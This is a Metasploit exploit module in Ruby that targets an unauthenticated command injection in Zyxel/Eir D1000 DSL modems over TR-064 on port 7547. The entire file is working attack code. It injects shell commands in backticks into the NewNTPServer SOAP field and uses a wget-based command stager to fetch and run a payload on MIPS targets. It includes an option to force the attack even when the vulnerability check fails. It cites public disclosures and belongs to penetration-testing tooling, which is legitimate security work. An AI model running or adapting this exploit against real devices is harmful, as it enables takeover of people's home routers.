require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, 'Name' => 'Zyxel/Eir D1000 DSL Modem NewNTPServer Command Injection Over TR-064', 'Description' => %q{ Broadband DSL modems manufactured by Zyxel and distributed by some European ISPs are vulnerable to a command injection vulnerability when setting the 'NewNTPServer' value using the TR-64 SOAP-based configuration protocol. In the tested case, no authentication is required to set this value on affected DSL modems. This exploit was originally tested on firmware versions up to 2.00(AADU.5)_20150909. }, 'Author' => [ 'Kenzo', # Vulnerability discovery and original Metasploit module 'Michael Messner <devnull[at]s3cur1ty.de>', # Copypasta from TheMoon msf module, payload help 'todb', # Metasploit module 'wvu' , # Metasploit module '0x27' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'EDB', '40740' ], [ 'URL', 'https://devicereversing.wordpress.com/2016/11/07/eirs-d1000-modem-is-wide-open-to-being-hacked/'], [ 'URL', 'https://isc.sans.edu/forums/diary/Port+7547+SOAP+Remote+Code+Execution+Attack+Against+DSL+Modems/21759'], [ 'URL', 'https://broadband-forum.org/technical/download/TR-064.pdf'] ], 'DisclosureDate' => 'Nov 07 2016', 'Privileged' => true, 'Targets' => [ [ 'MIPS Big Endian', { 'Platform' => 'linux', 'Arch' => ARCH_MIPSBE } ], [ 'MIPS Little Endian', { 'Platform' => 'linux', 'Arch' => ARCH_MIPSLE } ], ], 'DefaultTarget' => 0, 'DefaultOptions' => {'WfsDelay' => 10} )) register_options( [ Opt::RPORT(7547), # TR-064 CWMP port for SOAP/XML commands OptBool::new('FORCE_EXPLOIT', [false, 'Force an attempt even if the check fails', nil]) ], self.class) end def set_new_ntp_server(cmd) template = "<?xml version=\"1.0\"?>" template << "<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">" template << " <SOAP-ENV:Body>" template << " <u:SetNTPServers xmlns:u=\"urn:dslforum-org:service:Time:1\">" template << " <NewNTPServer1>`%s`</NewNTPServer1>" # Backticks, aw yeah template << " <NewNTPServer2></NewNTPServer2>" template << " <NewNTPServer3></NewNTPServer3>" template << " <NewNTPServer4></NewNTPServer4>" template << " <NewNTPServer5></NewNTPServer5>" template << " </u:SetNTPServers>" template << " </SOAP-ENV:Body>" template << "</SOAP-ENV:Envelope>" template % cmd end def execute_command(cmd, opts) uri = '/UD/act?1' soapaction = "urn:dslforum-org:service:Time:1#SetNTPServers" injected_data = set_new_ntp_server(cmd) begin res = send_request_cgi({ 'uri' => uri, 'ctype' => "text/xml", 'method' => 'POST', 'headers' => { 'SOAPAction' => soapaction, }, 'data' => injected_data }, 2) return res rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") end end def check begin res = send_request_cgi({ 'uri' => '/globe' # TODO: Check this? Why not /UD/act?1 }) rescue ::Rex::ConnectionError vprint_error("#{peer} - A connection error has occured") return Exploit::CheckCode::Unknown end if res and res.code == 404 and res.body =~ /home_wan\.htm/ return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe end def inject_staged_data execute_cmdstager(flavor: :wget, linemax: 65, delay: 3) end def exploit print_status("#{peer} - Checking...") if check == Exploit::CheckCode::Appears print_status("#{peer} - Appears vulnerable") inject_staged_data elsif datastore['FORCE_EXPLOIT'] print_status("#{peer} - Doesn't appear vulnerable, but trying anyway.") inject_staged_data else fail_with(Failure::Unknown, "#{peer} - Failed to access the device") end end end